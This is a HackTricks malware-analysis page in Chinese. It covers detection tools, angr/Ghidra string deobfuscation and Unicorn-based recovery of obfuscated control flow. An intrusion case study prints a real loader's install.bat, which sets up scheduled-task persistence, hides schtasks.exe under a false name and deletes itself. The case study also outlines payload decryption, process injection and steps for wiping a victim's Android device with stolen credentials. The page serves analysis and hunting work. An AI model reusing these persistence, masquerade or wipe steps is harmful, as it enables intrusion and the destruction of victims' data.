恶意软件分析
Reading time: 23 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
取证速查表
https://www.jaiminton.com/cheatsheet/DFIR/#
在线服务
离线杀毒和检测工具
Yara
安装
sudo apt-get install -y yara
准备规则
使用此脚本从 github 下载并合并所有 yara malware 规则: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
创建 rules 目录并执行该脚本。 这将创建一个名为 malware_rules.yar 的文件,其中包含所有的 yara malware 规则。
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
扫描
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: 检查 malware 并创建 rules
您可以使用工具 YaraGen 从二进制生成 yara rules。参阅这些教程: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
安装
sudo apt-get install -y clamav
扫描
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa 在可执行文件(PE、ELF、.NET)中检测潜在的恶意 功能。因此它会发现诸如 Att&ck tactics,或像下面这样的可疑能力:
- 检查 OutputDebugString 错误
- 作为服务运行
- 创建进程
在 Github repo 获取。
IOCs
IOC 表示入侵指标(Indicator Of Compromise)。IOC 是一组用于识别某些潜在不受欢迎的软件或已确认的 malware 的 条件。Blue Teams 使用这种定义在其 系统 和 网络 中 搜索此类恶意文件。\
共享这些定义非常有用 —— 当在一台计算机中识别出 malware 并为其创建了 IOC 后,其他 Blue Teams 可以使用该 IOC 更快地识别该 malware。
用于创建或修改 IOCs 的工具有 IOC Editor。\
你可以使用诸如 Redline 之类的工具来 在设备中搜索已定义的 IOCs。
Loki
[Loki] 是一个用于简单入侵指标(Simple Indicators of Compromise)的扫描器。\
检测基于四种检测方法:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) 是一个面向 Linux 的 malware 扫描器,基于 GNU GPLv2 许可发布,专为共享托管环境中面临的威胁而设计。它使用来自网络边缘入侵检测系统的威胁数据来提取正在被用于攻击的 malware,并生成用于检测的签名。此外,威胁数据也来自用户通过 LMD checkout 功能提交的样本以及 malware 社区资源。
rkhunter
像 rkhunter 这样的工具可用于检查文件系统,查找可能的 rootkits 和 malware。
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS 是一个工具,会尝试使用不同技术在可执行文件中查找混淆的字符串。
PEpper
PEpper 会检查可执行文件中的一些基本内容(二进制数据、熵、URLs 和 IPs、一些 yara 规则)。
PEstudio
PEstudio 是一个工具,可以获取 Windows 可执行文件的信息,例如 imports、exports、headers,但也会检查 VirusTotal 并发现潜在的 Att&ck 技术。
Detect It Easy(DiE)
DiE 是一个用于检测文件是否被 加密 并查找 packers 的工具。
NeoPI
NeoPI 是一个 Python 脚本,使用各种 统计方法 来检测文本/脚本文件中的 混淆 和 加密 内容。NeoPI 的目的是帮助 检测隐藏的 web shell 代码。
php-malware-finder
PHP-malware-finder 尽力检测 混淆/可疑代码,以及使用常用于 恶意软件/webshells 的 PHP 函数的文件。
Apple Binary Signatures
在检查某些 恶意软件样本 时,应始终 检查二进制的签名,因为签名的 开发者 可能已经与 恶意软件 有关联。
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
检测技术
文件堆叠
如果你知道某个包含 files 的文件夹在某个日期被 最后更新。检查 web server 中所有 files 的创建和修改日期,如果有任何日期 可疑,检查该文件。
基线
如果某个文件夹的文件 不应该被修改,你可以计算该文件夹 原始文件 的 hash,并将它们与 当前 的进行 比较。任何被修改的都会是 可疑的。
统计分析
当信息保存在日志中时,你可以 检查统计信息,例如每个 web server 文件被访问的次数,因为 web shell 可能是其中最常被访问的之一。
Android 应用内 native 遥测(无需 root)
在 Android 上,你可以通过在其他 JNI 库初始化之前预加载一个小型 logger 库,在目标应用进程内对 native 代码进行插桩。这可以在不使用系统范围 hook 或 root 的情况下,尽早观察 native 行为。一种流行的方法是 SoTap:将 libsotap.so(对应正确的 ABI)放入 APK,并尽早注入 System.loadLibrary("sotap") 调用(例如在静态初始化器或 Application.onCreate 中),然后从内部/外部路径收集日志,或回退到 Logcat。
See the Android native reversing page for setup details and log paths:
Android/JNI native 字符串反混淆与 angr + Ghidra
一些 Android 恶意软件和 RASP 保护的应用通过在调用 RegisterNatives 之前在运行时解码来隐藏 JNI 方法名和签名。当 Frida/ptrace 插桩被反调试措施终止时,你仍然可以通过使用 angr 在二进制内执行解码器离线恢复明文,然后将结果作为注释推回到 Ghidra。
关键思路:将 .so 内的解码器视为可调用函数,对 .rodata 中的混淆字节块执行它,并将输出字节具体化直到第一个 \x00(C 字符串终止符)。保持 angr 和 Ghidra 使用相同的 image base 以避免地址不匹配。
工作流程概述
- 在 Ghidra 中初步处理:识别解码器及其在 JNI_OnLoad 和 RegisterNatives 设置中的调用约定/参数。
- 运行 angr(CPython3)为每个目标字符串执行解码器并导出结果。
- 在 Ghidra 中注释:在每个调用点自动注释解码后的字符串以便快速重建 JNI。
Ghidra 初步处理(JNI_OnLoad 模式)
- 对 JNI_OnLoad 应用 JNI 数据类型,使 Ghidra 能识别 JNINativeMethod 结构。
- 根据 Oracle 文档的典型 JNINativeMethod:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- 查找对 RegisterNatives 的调用。如果库通过本地例程构造 name/signature(例如 FUN_00100e10),并且该例程引用静态字节表(例如 DAT_00100bf4)并接受类似 (encoded_ptr, out_buf, length) 的参数,那么这是离线执行的理想目标。
angr 设置(离线执行解码器)
- 以与 Ghidra 使用相同的 base 加载 .so(例如:0x00100000),并禁用自动加载外部库以保持状态精简。
angr 设置和离线解码器执行
import angr, json
project = angr.Project(
'/path/to/libtarget.so',
load_options={'main_opts': {'base_addr': 0x00100000}},
auto_load_libs=False,
)
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
# fresh blank state per evaluation
st = project.factory.blank_state()
outbuf = st.heap.allocate(length)
call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer
rs = call.result_state
raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')
# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
- 在大规模情况下,构建一个静态映射,将 call sites 映射到 decoder 的参数 (encoded_ptr, size)。Wrappers 可能会隐藏参数,因此如果 API recovery 噪声较大,你可以从 Ghidra xrefs 手动创建该映射。
使用 angr 批量解码多个 call sites
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
在 Ghidra 中标注调用点 Option A: Jython-only comment writer (use a pre-computed JSON)
- 由于 angr 需要 CPython3,保持 deobfuscation 和 annotation 分离。首先运行上面的 angr 脚本以生成 decoded_strings.json。然后运行此 Jython GhidraScript,在每个调用点写入 PRE_COMMENTs(并包含调用者函数名以作上下文):
用于注释已解码 JNI 字符串的 Ghidra Jython 脚本
#@category Android/Deobfuscation
# Jython in Ghidra 10/11
import json
from ghidra.program.model.listing import CodeUnit
# Ask for the JSON produced by the angr script
f = askFile('Select decoded_strings.json', 'Load')
mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings
fm = currentProgram.getFunctionManager()
rm = currentProgram.getReferenceManager()
# Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10
enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {}
for ref in rm.getReferencesTo(enc_addr):
if ref.getReferenceType().isCall():
from_addr = ref.getFromAddress()
fn = fm.getFunctionContaining(from_addr)
if fn:
callsite_to_fn[from_addr.getOffset()] = fn.getName()
# Write comments from JSON
for k_hex, s in mapping.items():
cs = int(k_hex, 16)
site = toAddr(cs)
caller = callsite_to_fn.get(cs, None)
text = s if caller is None else '%s @ %s' % (s, caller)
currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
print('[+] Annotated %d call sites' % len(mapping))
Option B: 通过 pyhidra/ghidra_bridge 使用单个 CPython 脚本
- 或者,使用 pyhidra 或 ghidra_bridge 从运行 angr 的同一 CPython 进程驱动 Ghidra 的 API。这样可以直接调用 decode_string() 并立即设置 PRE_COMMENTs,而无需中间文件。逻辑与 Jython 脚本类似:通过 ReferenceManager 构建 callsite→function 映射,用 angr 解码,然后设置注释。
为什么这可行以及何时使用
- 离线执行可规避 RASP/anti-debug:不需要 ptrace,也不需要 Frida hook 来恢复字符串。
- 保持 Ghidra 和 angr 的 base_addr 对齐(例如 0x00100000)可确保函数/数据地址在工具间匹配。
- 可重复的解码器流程:将变换视为纯函数,在一个新状态中分配输出缓冲区,以 (encoded_ptr, out_ptr, len) 调用它,然后通过 state.solver.eval 具体化并解析 C-strings 直到 \x00。
注意事项与陷阱
- 遵守目标 ABI/调用约定。angr.factory.callable 会根据 arch 选择;如果参数看起来偏移了,请显式指定 cc。
- 如果解码器期望输出缓冲区为零,调用前在 state 中用零初始化 outbuf。
- 对于位置无关的 Android .so,总是提供 base_addr,以便 angr 中的地址与 Ghidra 中看到的匹配。
- 使用 currentProgram.getReferenceManager() 枚举 call-xrefs,即便应用将解码器封装在薄存根后面。
For angr basics, see: angr basics
去混淆动态控制流 (JMP/CALL RAX Dispatchers)
现代恶意软件家族大量滥用 Control-Flow Graph (CFG) 混淆:它们不是直接跳转/调用,而是在运行时计算目标并执行 jmp rax 或 call rax。一个小型的 dispatcher(通常九条指令)根据 CPU 的 ZF/CF 标志设置最终目标,完全破坏静态 CFG 恢复。
该技术 —— 在 SLOW#TEMPEST loader 中有展示 —— 可以用一个仅依赖 IDAPython 和 Unicorn CPU emulator 的三步工作流来击破。
1. 定位每个间接跳转 / 调用
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. 提取 dispatcher byte-code
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. 使用 Unicorn 模拟两次
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
运行 run(code,0,0) 和 run(code,1,1) 来获取 false 和 true 分支目标。
4. 修补回直接的 jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
打补丁后,强制 IDA 重新分析该函数,以便恢复完整的 CFG 和 Hex-Rays 输出:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. 标记间接 API 调用
一旦每个 call rax 的真实目标已知,你就可以告诉 IDA 它是什么,从而自动恢复参数类型和变量名:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Practical benefits
- 恢复真实的 CFG → 反编译从 10 行变为数千行。
- 启用 string-cross-reference & xrefs,使行为重构变得轻而易举。
- 脚本可重用:将它们放入任何被相同技巧保护的 loader 中。
AutoIt-based loaders: .a3x 解密、Task Scheduler 伪装和 RAT 注入
This intrusion pattern chains a signed MSI, AutoIt loaders compiled to .a3x, and a Task Scheduler job masquerading as a benign app.
MSI → custom actions → AutoIt orchestrator
MSI custom actions 执行的进程树和命令:
- MsiExec.exe → cmd.exe 来运行 install.bat
- WScript.exe 用于显示一个诱饵错误对话框
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (投放 loader, 设置 persistence, 自我清除):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (用户诱饵):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Key artifacts and masquerade:
- 将 AutoIt3.exe 和 IoKlTr.au3 投放到 C:\Users\Public\Music
- 将 schtasks.exe 复制为 hwpviewer.exe(伪装成 Hangul Word Processor viewer)
- 创建名为 "IoKlTr" 的计划任务,每 1 分钟运行一次
- 启动 LNK 显示为 Smart_Web.lnk;mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - 在 %APPDATA%\Google\Browser\ 的包含
adb或adv的子文件夹中分阶段部署模块,并通过 autoit.vbs/install.bat 辅助脚本启动它们
Forensic triage tips:
- schtasks 枚举:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - 查找与 Task XML 同目录的已重命名 schtasks.exe 副本:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - 常见路径:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, 启动项Smart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - 关联进程创建:AutoIt3.exe 派生合法 Windows 二进制(例如 cleanmgr.exe, hncfinder.exe)
AutoIt loaders and .a3x payload decryption → injection
- AutoIt 模块使用
#AutoIt3Wrapper_Outfile_type=a3x编译,并在注入到良性进程之前解密嵌入的 payloads。 - 观测到的家族:QuasarRAT(注入到 hncfinder.exe)和 RftRAT/RFTServer(注入到 cleanmgr.exe),以及 RemcosRAT 模块(
Remcos\RunBinary.a3x)。 - 解密模式:通过 HMAC 推导 AES 密钥,解密嵌入的数据块,然后注入明文模块。
Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
常见注入流程 (CreateRemoteThread-style):
- CreateProcess(挂起)目标进程(例如 cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory 写入解密的 module/shellcode
- CreateRemoteThread 或 QueueUserAPC 执行 payload
狩猎线索
- AutoIt3.exe 的父进程为 MsiExec.exe 或 WScript.exe,且启动系统工具
- 位于公开/用户可写路径下的
.a3x文件或 AutoIt 脚本运行器 - 可疑计划任务执行 AutoIt3.exe 或 未由 Microsoft 签名的二进制,且触发器为分钟级
Account-takeover abuse of Android Find My Device (Find Hub)
在 Windows 入侵期间,操作者使用被盗的 Google 凭证反复清除受害者的 Android 设备,抑制通知,同时通过受害者已登录的桌面即时通讯客户端扩展访问权限。
操作者步骤(来自已登录的浏览器会话):
- 查看 Google Account → Security → Your devices;进入 Find My Phone → Find Hub (https://www.google.com/android/find)
- 选择设备 → 重新输入 Google 密码 → 发起 “Erase device”(恢复出厂设置);重复以延迟恢复
- 可选:清除关联邮箱(例如 Naver)中的警报邮件以隐藏安全通知
AdaptixC2: Configuration Extraction and TTPs
参见专页:
Adaptixc2 Config Extraction And Ttps
参考资料
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks